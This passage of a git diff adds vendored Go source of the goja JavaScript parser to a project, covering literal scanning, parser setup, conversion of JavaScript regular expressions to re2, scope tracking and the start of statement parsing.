"", fmt.Sprintf("invalid escape: \\%s: %q", string(chr), str[:size+1]) + } + val = val<<4 | decimal + if val > utf8.MaxRune { + return "", fmt.Sprintf("undefined Unicode code-point: %q", str[:size+1]) + } + } + if value == -1 { + return "", fmt.Sprintf("unterminated \\u{: %q", str) + } + } + str = str[size:] + if chr == 'x' { + break + } + if value > utf8.MaxRune { + panic("value > utf8.MaxRune") + } + case '0': + if len(str) == 0 || '0' > str[0] || str[0] > '7' { + value = 0 + break + } + fallthrough + case '1', '2', '3', '4', '5', '6', '7': + if strict { + return "", "Octal escape sequences are not allowed in this context" + } + value = rune(chr) - '0' + j := 0 + for ; j < 2; j++ { + if len(str) < j+1 { + break + } + chr := str[j] + if '0' > chr || chr > '7' { + break + } + decimal := rune(str[j]) - '0' + value = (value << 3) | decimal + } + str = str[j:] + case '\\': + value = '\\' + case '\'', '"': + value = rune(chr) + case '\r': + if len(str) > 0 { + if str[0] == '\n' { + str = str[1:] + } + } + fallthrough + case '\n': + continue + default: + value = rune(chr) + } + } + if unicode { + if value <= 0xFFFF { + chars = append(chars, uint16(value)) + } else { + first, second := utf16.EncodeRune(value) + chars = append(chars, uint16(first), uint16(second)) + } + } else { + if value >= utf8.RuneSelf { + return "", "Unexpected unicode character" + } + sb.WriteByte(byte(value)) + } + } + + if unicode { + if len(chars) != length+1 { + panic(fmt.Errorf("unexpected unicode length while parsing '%s'", literal)) + } + return unistring.FromUtf16(chars), "" + } + if sb.Len() != length { + panic(fmt.Errorf("unexpected length while parsing '%s'", literal)) + } + return unistring.String(sb.String()), "" +} + +func (self *_parser) scanNumericLiteral(decimalPoint bool) (token.Token, string) { + + offset := self.chrOffset + tkn := token.NUMBER + + if decimalPoint { + offset-- + self.scanMantissa(10, true) + } else { + if self.chr == '0' { + self.read() + base := 0 + switch self.chr { + case 'x', 'X': + base = 16 + case 'o', 'O': + base = 8 + case 'b', 'B': + base = 2 + case '.', 'e', 'E': + // no-op + default: + // legacy octal + self.scanMantissa(8, false) + goto end + } + if base > 0 { + self.read() + if !isDigit(self.chr, base) { + return token.ILLEGAL, self.str[offset:self.chrOffset] + } + self.scanMantissa(base, true) + goto end + } + } else { + self.scanMantissa(10, true) + } + if self.chr == '.' { + self.read() + self.scanMantissa(10, true) + } + } + + if self.chr == 'e' || self.chr == 'E' { + self.read() + if self.chr == '-' || self.chr == '+' { + self.read() + } + if isDecimalDigit(self.chr) { + self.read() + self.scanMantissa(10, true) + } else { + return token.ILLEGAL, self.str[offset:self.chrOffset] + } + } +end: + if self.chr == 'n' || self.chr == 'N' { + self.read() + return tkn, self.str[offset:self.chrOffset] + } + if isIdentifierStart(self.chr) || isDecimalDigit(self.chr) { + return token.ILLEGAL, self.str[offset:self.chrOffset] + } + + return tkn, self.str[offset:self.chrOffset] +} diff --git a/backend/vendor/github.com/dop251/goja/parser/parser.go b/backend/vendor/github.com/dop251/goja/parser/parser.go new file mode 100644 index 0000000..24b3802 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/parser/parser.go @@ -0,0 +1,268 @@ +/* +Package parser implements a parser for JavaScript. + + import ( + "github.com/dop251/goja/parser" + ) + +Parse and return an AST + + filename := "" // A filename is optional + src := ` + // Sample xyzzy example + (function(){ + if (3.14159 > 0) { + console.log("Hello, World."); + return; + } + + var xyzzy = NaN; + console.log("Nothing happens."); + return xyzzy; + })(); + ` + + // Parse some JavaScript, yielding a *ast.Program and/or an ErrorList + program, err := parser.ParseFile(nil, filename, src, 0) + +# Warning + +The parser and AST interfaces are still works-in-progress (particularly where +node types are concerned) and may change in the future. +*/ +package parser + +import ( + "bytes" + "errors" + "io" + "os" + + "github.com/dop251/goja/ast" + "github.com/dop251/goja/file" + "github.com/dop251/goja/token" + "github.com/dop251/goja/unistring" +) + +// A Mode value is a set of flags (or 0). They control optional parser functionality. +type Mode uint + +const ( + IgnoreRegExpErrors Mode = 1 << iota // Ignore RegExp compatibility errors (allow backtracking) +) + +type options struct { + disableSourceMaps bool + sourceMapLoader func(path string) ([]byte, error) +} + +// Option represents one of the options for the parser to use in the Parse methods. Currently supported are: +// WithDisableSourceMaps and WithSourceMapLoader. +type Option func(*options) + +// WithDisableSourceMaps is an option to disable source maps support. May save a bit of time when source maps +// are not in use. +func WithDisableSourceMaps(opts *options) { + opts.disableSourceMaps = true +} + +// WithSourceMapLoader is an option to set a custom source map loader. The loader will be given a path or a +// URL from the sourceMappingURL. If sourceMappingURL is not absolute it is resolved relatively to the name +// of the file being parsed. Any error returned by the loader will fail the parsing. +// Note that setting this to nil does not disable source map support, there is a default loader which reads +// from the filesystem. Use WithDisableSourceMaps to disable source map support. +func WithSourceMapLoader(loader func(path string) ([]byte, error)) Option { + return func(opts *options) { + opts.sourceMapLoader = loader + } +} + +type _parser struct { + str string + length int + base int + + chr rune // The current character + chrOffset int // The offset of current character + offset int // The offset after current character (may be greater than 1) + + idx file.Idx // The index of token + token token.Token // The token + literal string // The literal of the token, if any + parsedLiteral unistring.String + + scope *_scope + insertSemicolon bool // If we see a newline, then insert an implicit semicolon + implicitSemicolon bool // An implicit semicolon exists + + errors ErrorList + + recover struct { + // Scratch when trying to seek to the next statement, etc. + idx file.Idx + count int + } + + mode Mode + opts options + + file *file.File +} + +func _newParser(filename, src string, base int, opts ...Option) *_parser { + p := &_parser{ + chr: ' ', // This is set so we can start scanning by skipping whitespace + str: src, + length: len(src), + base: base, + file: file.NewFile(filename, src, base), + } + for _, opt := range opts { + opt(&p.opts) + } + return p +} + +func newParser(filename, src string) *_parser { + return _newParser(filename, src, 1) +} + +func ReadSource(filename string, src interface{}) ([]byte, error) { + if src != nil { + switch src := src.(type) { + case string: + return []byte(src), nil + case []byte: + return src, nil + case *bytes.Buffer: + if src != nil { + return src.Bytes(), nil + } + case io.Reader: + var bfr bytes.Buffer + if _, err := io.Copy(&bfr, src); err != nil { + return nil, err + } + return bfr.Bytes(), nil + } + return nil, errors.New("invalid source") + } + return os.ReadFile(filename) +} + +// ParseFile parses the source code of a single JavaScript/ECMAScript source file and returns +// the corresponding ast.Program node. +// +// If fileSet == nil, ParseFile parses source without a FileSet. +// If fileSet != nil, ParseFile first adds filename and src to fileSet. +// +// The filename argument is optional and is used for labelling errors, etc. +// +// src may be a string, a byte slice, a bytes.Buffer, or an io.Reader, but it MUST always be in UTF-8. +// +// // Parse some JavaScript, yielding a *ast.Program and/or an ErrorList +// program, err := parser.ParseFile(nil, "", `if (abc > 1) {}`, 0) +func ParseFile(fileSet *file.FileSet, filename string, src interface{}, mode Mode, options ...Option) (*ast.Program, error) { + str, err := ReadSource(filename, src) + if err != nil { + return nil, err + } + { + str := string(str) + + base := 1 + if fileSet != nil { + base = fileSet.AddFile(filename, str) + } + + parser := _newParser(filename, str, base, options...) + parser.mode = mode + return parser.parse() + } +} + +// ParseFunction parses a given parameter list and body as a function and returns the +// corresponding ast.FunctionLiteral node. +// +// The parameter list, if any, should be a comma-separated list of identifiers. +func ParseFunction(parameterList, body string, options ...Option) (*ast.FunctionLiteral, error) { + + src := "(function(" + parameterList + ") {\n" + body + "\n})" + + parser := _newParser("", src, 1, options...) + program, err := parser.parse() + if err != nil { + return nil, err + } + + return program.Body[0].(*ast.ExpressionStatement).Expression.(*ast.FunctionLiteral), nil +} + +func (self *_parser) slice(idx0, idx1 file.Idx) string { + from := int(idx0) - self.base + to := int(idx1) - self.base + if from >= 0 && to <= len(self.str) { + return self.str[from:to] + } + + return "" +} + +func (self *_parser) parse() (*ast.Program, error) { + self.openScope() + defer self.closeScope() + self.next() + program := self.parseProgram() + if false { + self.errors.Sort() + } + return program, self.errors.Err() +} + +func (self *_parser) next() { + self.token, self.literal, self.parsedLiteral, self.idx = self.scan() +} + +func (self *_parser) optionalSemicolon() { + if self.token == token.SEMICOLON { + self.next() + return + } + + if self.implicitSemicolon { + self.implicitSemicolon = false + return + } + + if self.token != token.EOF && self.token != token.RIGHT_BRACE { + self.expect(token.SEMICOLON) + } +} + +func (self *_parser) semicolon() { + if self.token != token.RIGHT_PARENTHESIS && self.token != token.RIGHT_BRACE { + if self.implicitSemicolon { + self.implicitSemicolon = false + return + } + + self.expect(token.SEMICOLON) + } +} + +func (self *_parser) idxOf(offset int) file.Idx { + return file.Idx(self.base + offset) +} + +func (self *_parser) expect(value token.Token) file.Idx { + idx := self.idx + if self.token != value { + self.errorUnexpectedToken(self.token) + } + self.next() + return idx +} + +func (self *_parser) position(idx file.Idx) file.Position { + return self.file.Position(int(idx) - self.base) +} diff --git a/backend/vendor/github.com/dop251/goja/parser/regexp.go b/backend/vendor/github.com/dop251/goja/parser/regexp.go new file mode 100644 index 0000000..f455d0d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/parser/regexp.go @@ -0,0 +1,472 @@ +package parser + +import ( + "fmt" + "strconv" + "strings" + "unicode/utf8" +) + +const ( + WhitespaceChars = " \f\n\r\t\v\u00a0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u2028\u2029\u202f\u205f\u3000\ufeff" + Re2Dot = "[^\r\n\u2028\u2029]" +) + +type regexpParseError struct { + offset int + err string +} + +type RegexpErrorIncompatible struct { + regexpParseError +} +type RegexpSyntaxError struct { + regexpParseError +} + +func (s regexpParseError) Error() string { + return s.err +} + +type _RegExp_parser struct { + str string + length int + + chr rune // The current character + chrOffset int // The offset of current character + offset int // The offset after current character (may be greater than 1) + + err error + + goRegexp strings.Builder + passOffset int + + dotAll bool // Enable dotAll mode + unicode bool +} + +// TransformRegExp transforms a JavaScript pattern into a Go "regexp" pattern. +// +// re2 (Go) cannot do backtracking, so the presence of a lookahead (?=) (?!) or +// backreference (\1, \2, ...) will cause an error. +// +// re2 (Go) has a different definition for \s: [\t\n\f\r ]. +// The JavaScript definition, on the other hand, also includes \v, Unicode "Separator, Space", etc. +// +// If the pattern is valid, but incompatible (contains a lookahead or backreference), +// then this function returns an empty string an error of type RegexpErrorIncompatible. +// +// If the pattern is invalid (not valid even in JavaScript), then this function +// returns an empty string and a generic error. +func TransformRegExp(pattern string, dotAll, unicode bool) (transformed string, err error) { + + if pattern == "" { + return "", nil + } + + parser := _RegExp_parser{ + str: pattern, + length: len(pattern), + dotAll: dotAll, + unicode: unicode, + } + err = parser.parse() + if err != nil { + return "", err + } + + return parser.ResultString(), nil +} + +func (self *_RegExp_parser) ResultString() string { + if self.passOffset != -1 { + return self.str[:self.passOffset] + } + return self.goRegexp.String() +} + +func (self *_RegExp_parser) parse() (err error) { + self.read() // Pull in the first character + self.scan() + return self.err +} + +func (self *_RegExp_parser) read() { + if self.offset < self.length { + self.chrOffset = self.offset + chr, width := rune(self.str[self.offset]), 1 + if chr >= utf8.RuneSelf { // !ASCII + chr, width = utf8.DecodeRuneInString(self.str[self.offset:]) + if chr == utf8.RuneError && width == 1 { + self.error(true, "Invalid UTF-8 character") + return + } + } + self.offset += width + self.chr = chr + } else { + self.chrOffset = self.length + self.chr = -1 // EOF + } +} + +func (self *_RegExp_parser) stopPassing() { + self.goRegexp.Grow(3 * len(self.str) / 2) + self.goRegexp.WriteString(self.str[:self.passOffset]) + self.passOffset = -1 +} + +func (self *_RegExp_parser) write(p []byte) { + if self.passOffset != -1 { + self.stopPassing() + } + self.goRegexp.Write(p) +} + +func (self *_RegExp_parser) writeByte(b byte) { + if self.passOffset != -1 { + self.stopPassing() + } + self.goRegexp.WriteByte(b) +} + +func (self *_RegExp_parser) writeString(s string) { + if self.passOffset != -1 { + self.stopPassing() + } + self.goRegexp.WriteString(s) +} + +func (self *_RegExp_parser) scan() { + for self.chr != -1 { + switch self.chr { + case '\\': + self.read() + self.scanEscape(false) + case '(': + self.pass() + self.scanGroup() + case '[': + self.scanBracket() + case ')': + self.error(true, "Unmatched ')'") + return + case '.': + if self.dotAll { + self.pass() + break + } + self.writeString(Re2Dot) + self.read() + default: + self.pass() + } + } +} + +// (...) +func (self *_RegExp_parser) scanGroup() { + str := self.str[self.chrOffset:] + if len(str) > 1 { // A possibility of (?= or (?! + if str[0] == '?' { + ch := str[1] + switch { + case ch == '=' || ch == '!': + self.error(false, "re2: Invalid (%s) ", self.str[self.chrOffset:self.chrOffset+2]) + return + case ch == '<': + self.error(false, "re2: Invalid (%s) ", self.str[self.chrOffset:self.chrOffset+2]) + return + case ch != ':': + self.error(true, "Invalid group") + return + } + } + } + for self.chr != -1 && self.chr != ')' { + switch self.chr { + case '\\': + self.read() + self.scanEscape(false) + case '(': + self.pass() + self.scanGroup() + case '[': + self.scanBracket() + case '.': + if self.dotAll { + self.pass() + break + } + self.writeString(Re2Dot) + self.read() + default: + self.pass() + continue + } + } + if self.chr != ')' { + self.error(true, "Unterminated group") + return + } + self.pass() +} + +// [...] +func (self *_RegExp_parser) scanBracket() { + str := self.str[self.chrOffset:] + if strings.HasPrefix(str, "[]") { + // [] -- Empty character class + self.writeString("[^\u0000-\U0001FFFF]") + self.offset += 1 + self.read() + return + } + + if strings.HasPrefix(str, "[^]") { + self.writeString("[\u0000-\U0001FFFF]") + self.offset += 2 + self.read() + return + } + + self.pass() + for self.chr != -1 { + if self.chr == ']' { + break + } else if self.chr == '\\' { + self.read() + self.scanEscape(true) + continue + } + self.pass() + } + if self.chr != ']' { + self.error(true, "Unterminated character class") + return + } + self.pass() +} + +// \... +func (self *_RegExp_parser) scanEscape(inClass bool) { + offset := self.chrOffset + + var length, base uint32 + switch self.chr { + + case '0', '1', '2', '3', '4', '5', '6', '7': + var value int64 + size := 0 + for { + digit := int64(digitValue(self.chr)) + if digit >= 8 { + // Not a valid digit + break + } + value = value*8 + digit + self.read() + size += 1 + } + if size == 1 { // The number of characters read + if value != 0 { + // An invalid backreference + self.error(false, "re2: Invalid \\%d ", value) + return + } + self.passString(offset-1, self.chrOffset) + return + } + tmp := []byte{'\\', 'x', '0', 0} + if value >= 16 { + tmp = tmp[0:2] + } else { + tmp = tmp[0:3] + } + tmp = strconv.AppendInt(tmp, value, 16) + self.write(tmp) + return + + case '8', '9': + self.read() + self.error(false, "re2: Invalid \\%s ", self.str[offset:self.chrOffset]) + return + + case 'x': + self.read() + length, base = 2, 16 + + case 'u': + self.read() + if self.chr == '{' && self.unicode { + self.read() + length, base = 0, 16 + } else { + length, base = 4, 16 + } + + case 'b': + if inClass { + self.write([]byte{'\\', 'x', '0', '8'}) + self.read() + return + } + fallthrough + + case 'B': + fallthrough + + case 'd', 'D', 'w', 'W': + // This is slightly broken, because ECMAScript + // includes \v in \s, \S, while re2 does not + fallthrough + + case '\\': + fallthrough + + case 'f', 'n', 'r', 't', 'v': + self.passString(offset-1, self.offset) + self.read() + return + + case 'c': + self.read() + var value int64 + if 'a' <= self.chr && self.chr <= 'z' { + value = int64(self.chr - 'a' + 1) + } else if 'A' <= self.chr && self.chr <= 'Z' { + value = int64(self.chr - 'A' + 1) + } else { + self.writeByte('c') + return + } + tmp := []byte{'\\', 'x', '0', 0} + if value >= 16 { + tmp = tmp[0:2] + } else { + tmp = tmp[0:3] + } + tmp = strconv.AppendInt(tmp, value, 16) + self.write(tmp) + self.read() + return + case 's': + if inClass { + self.writeString(WhitespaceChars) + } else { + self.writeString("[" + WhitespaceChars + "]") + } + self.read() + return + case 'S': + if inClass { + self.error(false, "S in class") + return + } else { + self.writeString("[^" + WhitespaceChars + "]") + } + self.read() + return + default: + // $ is an identifier character, so we have to have + // a special case for it here + if self.chr == '$' || self.chr < utf8.RuneSelf && !isIdentifierPart(self.chr) { + // A non-identifier character needs escaping + self.passString(offset-1, self.offset) + self.read() + return + } + // Unescape the character for re2 + self.pass() + return + } + + // Otherwise, we're a \u.... or \x... + valueOffset := self.chrOffset + + if length > 0 { + for length := length; length > 0; length-- { + digit := uint32(digitValue(self.chr)) + if digit >= base { + // Not a valid digit + goto skip + } + self.read() + } + } else { + for self.chr != '}' && self.chr != -1 { + digit := uint32(digitValue(self.chr)) + if digit >= base { + // Not a valid digit + self.error(true, "Invalid Unicode escape") + return + } + self.read() + } + } + + if length == 4 || length == 0 { + self.write([]byte{ + '\\', + 'x', + '{', + }) + self.passString(valueOffset, self.chrOffset) + if length != 0 { + self.writeByte('}') + } + } else if length == 2 { + self.passString(offset-1, valueOffset+2) + } else { + // Should never, ever get here... + self.error(true, "re2: Illegal branch in scanEscape") + return + } + + return + +skip: + self.passString(offset, self.chrOffset) +} + +func (self *_RegExp_parser) pass() { + if self.passOffset == self.chrOffset { + self.passOffset = self.offset + } else { + if self.passOffset != -1 { + self.stopPassing() + } + if self.chr != -1 { + self.goRegexp.WriteRune(self.chr) + } + } + self.read() +} + +func (self *_RegExp_parser) passString(start, end int) { + if self.passOffset == start { + self.passOffset = end + return + } + if self.passOffset != -1 { + self.stopPassing() + } + self.goRegexp.WriteString(self.str[start:end]) +} + +func (self *_RegExp_parser) error(fatal bool, msg string, msgValues ...interface{}) { + if self.err != nil { + return + } + e := regexpParseError{ + offset: self.offset, + err: fmt.Sprintf(msg, msgValues...), + } + if fatal { + self.err = RegexpSyntaxError{e} + } else { + self.err = RegexpErrorIncompatible{e} + } + self.offset = self.length + self.chr = -1 +} diff --git a/backend/vendor/github.com/dop251/goja/parser/scope.go b/backend/vendor/github.com/dop251/goja/parser/scope.go new file mode 100644 index 0000000..5e28ef4 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/parser/scope.go @@ -0,0 +1,50 @@ +package parser + +import ( + "github.com/dop251/goja/ast" + "github.com/dop251/goja/unistring" +) + +type _scope struct { + outer *_scope + allowIn bool + allowLet bool + inIteration bool + inSwitch bool + inFuncParams bool + inFunction bool + inAsync bool + allowAwait bool + allowYield bool + declarationList []*ast.VariableDeclaration + + labels []unistring.String +} + +func (self *_parser) openScope() { + self.scope = &_scope{ + outer: self.scope, + allowIn: true, + } +} + +func (self *_parser) closeScope() { + self.scope = self.scope.outer +} + +func (self *_scope) declare(declaration *ast.VariableDeclaration) { + self.declarationList = append(self.declarationList, declaration) +} + +func (self *_scope) hasLabel(name unistring.String) bool { + for _, label := range self.labels { + if label == name { + return true + } + } + if self.outer != nil && !self.inFunction { + // Crossing a function boundary to look for a label is verboten + return self.outer.hasLabel(name) + } + return false +} diff --git a/backend/vendor/github.com/dop251/goja/parser/statement.go b/backend/vendor/github.com/dop251/goja/parser/statement.go new file mode 100644 index 0000000..d720504 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/parser/statement.go @@ -0,0 +1,1078 @@ +package parser + +import ( + "encoding/base64" + "fmt" + "os" + "strings" + + "github.com/dop251/goja/ast" + "github.com/dop251/goja/file" + "github.com/dop251/goja/token" + "github.com/go-sourcemap/sourcemap" +) + +func (self *_parser) parseBlockStatement() *ast.BlockStatement { + node := &ast.BlockStatement{} + node.LeftBrace = self.expect(token.LEFT_BRACE) + node.List = self.parseStatementList() + node.RightBrace = self.expect(token.RIGHT_BRACE) + + return node +} + +func (self *_parser) parseEmptyStatement() ast.Statement { + idx := self.expect(token.SEMICOLON) + return &ast.EmptyStatement{Semicolon: idx} +} + +func (self *_parser) parseStatementList() (list []ast.Statement) { + for self.token != token.RIGHT_BRACE && self.token != token.EOF { + self.scope.allowLet = true + list = append(list, self.parseStatement()) + } + + return +} + +func (self *_parser) parseStatement() ast.Statement { + + if self.token == token.EOF { + self.errorUnexpectedToken(self.token) + return &ast.BadStatement{From: self.idx, To: self.idx + 1} + } + + switch self.token { + case token.SEMICOLON: + return self.parseEmptyStatement() + case token.LEFT_BRACE: + return self.parseBlockStatement() + case token.IF: + return self.parseIfStatement() + case token.DO: + return self.parseDoWhileStatement() + case token.WHILE: + return self.parseWhileStatement() + case token.FOR: + return self.parseForOrForInStatement() + case token.BREAK: + return self.parseBreakStatement() + case token.CONTINUE: + return self.parseContinueStatement() + case token.DEBUGGER: + return self.parseDebuggerStatement() + case token.WITH: + return self.parseWithStatement() + case token.VAR: + return self.parseVariableStatement() + case token.LET: + tok := self.peek() + if tok == token.LEFT_BRACKET || self.scope.allowLet && (token.IsId(tok) || tok == token.LEFT_BRACE) { + return self.parseLexicalDeclaration(self.token) + } + self.insertSemicolon = true + case token.CONST: + return self.parseLexicalDeclaration(self.token) + case token.ASYNC: + if f := self.parseMaybeAsyncFunction(true); f != nil { + return &ast.FunctionDeclaration{ + Function: f, + } + } + case token.FUNCTION: + return &ast.FunctionDeclaration{ + Function: self.parseFunction(true, false, self.idx), + } + case token.CLASS: + return &ast.ClassDeclaration{ + Class: self.parseClass(true), + } + case token.SWITCH: + return self.parseSwitchStatement() + case token.RETURN: + return self.parseReturnStatement() + case token.THROW: + return self.parseThrowStatement() + case token.TRY: + return self.parseTryStatement() + } + + expression := self.parseExpression() + + if identifier, isIdentifier := expression.(*ast.Identifier); isIdentifier && self.token == token.COLON { + // LabelledStatement + colon := self.idx + self.next() // : + label := identifier.Name + for _, value := range self.scope.labels { + if label == value { + self.error(identifier.Idx0(), "Label '%s' already exists", label) + } + } + self.scope.labels = append(self.scope.labels, label) // Push the label + self.scope.allowLet = false + statement := self.parseStatement() + self.scope.labels = self.scope.labels[:len(self.scope.labels)-1] // Pop the label + return &ast.LabelledStatement{ + Label: identifier, + Colon: colon, + Statement: statement, + } + } + + self.optionalSemicolon() + + return &ast.ExpressionStatement{ + Expression: expression, + } +} + +func (self *_parser) parseTryStatement() ast.Statement { + + node := &ast.TryStatement{ + Try: self.expect(token.TRY), + Body: self.parseBlockStatement(), + } + + if self.token == token.CATCH { + catch := self.idx + self.next() + var parameter ast.BindingTarget + if self.token == token.LEFT_PARENTHESIS { + self.next() + parameter = self.parseBindingTarget() + self.expect(token.RIGHT_PARENTHESIS) + } + node.Catch = &ast.CatchStatement{ + Catch: catch, + Parameter: parameter, + Body: self.parseBlockStatement(), + } + } + + if self.token == token.FINALLY { + self.next() + node.Finally = self.parseBlockStatement() + } + + if node.Catch == nil && node.Finally == nil { + self.error(node.Try, "Missing catch or finally after try") + return &ast.BadStatement{From: node.Try, To: node.Body.Idx1()} + } + + return node +} + +func (self *_parser) parseFunctionParameterList() *ast.ParameterList { + opening := self.expect(token.LEFT_PARENTHESIS) + var list []*ast.Binding + var rest ast.Expression + if !self.scope.inFuncParams { + self.scope.inFuncParams = true + defer func() { + self.scope.inFuncParams = false + }() + } + for self.token != token.RIGHT_PARENTHESIS && self.token != token.EOF { + if self.token == token.ELLIPSIS { + self.next() + rest = self.reinterpretAsDestructBindingTarget(self.parseAssignmentExpression()) + break + } + self.parseVariableDeclaration(&list) + if self.token != token.RIGHT_PARENTHESIS { + self.expect(token.COMMA) + } + } + closing := self.expect(token.RIGHT_PARENTHESIS) + + return &ast.ParameterList{ + Opening: opening, + List: list, + Rest: rest, + Closing: closing, + } +} + +func (self *_parser) parseMaybeAsyncFunction(declaration bool) *ast.FunctionLiteral { + if self.peek() == token.FUNCTION { + idx := self.idx + self.next() + return self.parseFunction(declaration, true, idx) + } + return nil +} + +func (self *_parser) parseFunction(declaration, async bool, start file.Idx) *ast.FunctionLiteral { + + node := &ast.FunctionLiteral{ + Function: start, + Async: async, + } + self.expect(token.FUNCTION) + + if self.token == token.MULTIPLY { + node.Generator = true + self.next() + } + + if !declaration { + if async != self.scope.allowAwait { + self.scope.allowAwait = async + defer func() { + self.scope.allowAwait = !async + }() + } + if node.Generator != self.scope.allowYield { + self.scope.allowYield = node.Generator + defer func() { + self.scope.allowYield = !node.Generator + }() + } + } + + self.tokenToBindingId() + var name *ast.Identifier + if self.token == token.IDENTIFIER { + name = self.parseIdentifier() + } else if declaration { + // Use expect error handling + self.expect(token.IDENTIFIER) + } + node.Name = name + + if declaration { + if async != self.scope.allowAwait { + self.scope.allowAwait = async + defer func() { + self.scope.allowAwait = !async + }() + } + if node.Generator != self.scope.allowYield { + self.scope.allowYield = node.Generator + defer func() { + self.scope.allowYield = !node.Generator + }() + } + } + + node.ParameterList = self.parseFunctionParameterList() + node.Body, node.DeclarationList = self.parseFunctionBlock(async, async, self.scope.allowYield) + node.Source = self.slice(node.Idx0(), node.Idx1()) + + return node +} + +func (self *_parser) parseFunctionBlock(async, allowAwait, allowYield bool) (body *ast.BlockStatement, declarationList []*ast.VariableDeclaration) { + self.openScope() + self.scope.inFunction = true + self.scope.inAsync = async + self.scope.allowAwait = allowAwait + self.scope.allowYield = allowYield + defer self.closeScope() + body = self.parseBlockStatement() + declarationList = self.scope.declarationList + return +} + +func (self *_parser) parseArrowFunctionBody(async bool) (ast.ConciseBody, []*ast.VariableDeclaration) { + if self.token == token.LEFT_BRACE { + return self.parseFunctionBlock(async, async, false) + } + if async != self.scope.inAsync || async != self.scope.allowAwait { + inAsync := self.scope.inAsync + allowAwait := self.scope.allowAwait + self.scope.inAsync = async + self.scope.allowAwait = async + allowYield := self.scope.allowYield + self.scope.allowYield = false + defer func() { + self.scope.inAsync = inAsync + self.scope.allowAwait = allowAwait + self.scope.allowYield = allowYield + }() + } + + return &ast.ExpressionBody{ + Expression: self.parseAssignmentExpression(), + }, nil +} + +func (self *_parser) parseClass(declaration bool) *ast.ClassLiteral { + if declaration && !self.scope.allowLet && self.token == token.CLASS { + self.errorUnexpectedToken(token.CLASS) + } + + node := &ast.ClassLiteral{ + Class: self.expect(token.CLASS), + } + + self.tokenToBindingId() + var name *ast.Identifier + if self.token == token.IDENTIFIER { + name = self.parseIdentifier() + } else if declaration { + // Use expect error handling + self.expect(token.IDENTIFIER) + } + + node.Name = name + + if self.token != token.LEFT_BRACE { + self.expect(token.EXTENDS) + node.SuperClass = self.parseLeftHandSideExpressionAllowCall() + } + + self.expect(token.LEFT_BRACE) + + for self.token != token.RIGHT_BRACE && self.token != token.EOF { + if self.token == token.SEMICOLON { + self.next() + continue + } + start := self.idx + static := false + if self.token == token.STATIC { + switch self.peek() { + case token.ASSIGN, token.SEMICOLON, token.RIGHT_BRACE, token.LEFT_PARENTHESIS: + // treat as identifier + default: + self.next() + if self.token == token.LEFT_BRACE { + b := &ast.ClassStaticBlock{ + Static: start, + } + b.Block, b.DeclarationList = self.parseFunctionBlock(false, true, false) + b.Source = self.slice(b.Block.LeftBrace, b.Block.Idx1()) + node.Body = append(node.Body, b) + continue + } + static = true + } + } + + var kind ast.PropertyKind + var async bool + methodBodyStart := self.idx + if self.literal == "get" || self.literal == "set" { + if tok := self.peek(); tok != token.SEMICOLON && tok != token.LEFT_PARENTHESIS { + if self.literal == "get" { + kind = ast.PropertyKindGet + } else { + kind = ast.PropertyKindSet + } + self.next() + } + } else if self.token == token.ASYNC { + if tok := self.peek(); tok != token.SEMICOLON && tok != token.LEFT_PARENTHESIS { + async = true + kind = ast.PropertyKindMethod + self.next() + } + } + generator := false + if self.token == token.MULTIPLY && (kind == "" || kind == ast.PropertyKindMethod) { + generator = true + kind = ast.PropertyKindMethod + self.next() + } + + _, keyName, value, tkn := self.parseObjectPropertyKey() + if value == nil { + continue + } + computed := tkn == token.ILLEGAL + _, private := value.(*ast.PrivateIdentifier) + + if static && !private && keyName == "prototype" { + self.error(value.Idx0(), "Classes may not have a static property named 'prototype'") + } + + if kind == "" && self.token == token.LEFT_PARENTHESIS { + kind = ast.PropertyKindMethod + } + + if kind != "" { + // method + if keyName == "constructor" && !computed { + if !static { + if kind != ast.PropertyKindMethod { + self.error(value.Idx0(), "Class constructor may not be an accessor") + } else if async { + self.error(value.Idx0(), "Class constructor may not be an async method") + } else if generator { + self.error(value.Idx0(), "Class constructor may not be a generator") + } + } else if private { + self.error(value.Idx0(), "Class constructor may not be a private method") + } + } + md := &ast.MethodDefinition{ + Idx: start, + Key: value, + Kind: kind, + Body: self.parseMethodDefinition(methodBodyStart, kind, generator, async), + Static: static, + Computed: computed, + } + node.Body = append(node.Body, md) + } else { + // field + isCtor := !computed && keyName == "constructor" + if !isCtor { + if name, ok := value.(*ast.PrivateIdentifier); ok { + isCtor = name.Name == "constructor" + } + } + if isCtor { + self.error(value.Idx0(), "Classes may not have a field named 'constructor'") + } + var initializer ast.Expression + if self.token == token.ASSIGN { + self.next() + initializer = self.parseExpression() + } + + if !self.implicitSemicolon && self.token != token.SEMICOLON && self.token != token.RIGHT_BRACE { + self.errorUnexpectedToken(self.token) + break + } + node.Body = append(node.Body, &ast.FieldDefinition{ + Idx: start, + Key: value, + Initializer: initializer, + Static: static, + Computed: computed, + }) + } + } + + node.RightBrace = self.expect(token.RIGHT_BRACE) + node.Source = self.slice(node.Class, node.RightBrace+1) + + return node +} + +func (self *_parser) parseDebuggerStatement() ast.Statement { + idx := self.expect(token.DEBUGGER) + + node := &ast.DebuggerStatement{ + Debugger: idx, + } + + self.semicolon() + + return node +} + +func (self *_parser) parseReturnStatement() ast.Statement { + idx := self.expect(token.RETURN) + + if !self.scope.inFunction { + self.error(idx, "Illegal return statement") + self.nextStatement() + return &ast.BadStatement{From: idx, To: self.idx} + } + + node := &ast.ReturnStatement{ + Return: idx, + } + + if !self.implicitSemicolon && self.token != token.SEMICOLON && self.token != token.RIGHT_BRACE && self.token != token.EOF { + node.Argument = self.parseExpression() + } + + self.semicolon() + + return node +} + +func (self *_parser) parseThrowStatement() ast.Statement { + idx := self.expect(token.THROW) + + if self.implicitSemicolon { + if self.chr == -1 { // Hackish + self.error(idx, "Unexpected end of input") + } else { + self.error(idx, "Illegal newline after throw") + } + self.nextStatement() + return &ast.BadStatement{From: idx, To: self.idx} + } + + node := &ast.ThrowStatement{ + Throw: idx, + Argument: self.parseExpression(), + } + + self.semicolon() + + return node +} + +func (self *_parser) parseSwitchStatement() ast.Statement { + idx := self.expect(token.SWITCH) + self.expect(token.LEFT_PARENTHESIS) + node := &ast.SwitchStatement{ + Switch: idx, + Discriminant: self.parseExpression(), + Default: -1, + } + self.expect(token.RIGHT_PARENTHESIS) + + self.expect(token.LEFT_BRACE) + + inSwitch := self.scope.inSwitch + self.scope.inSwitch = true + defer 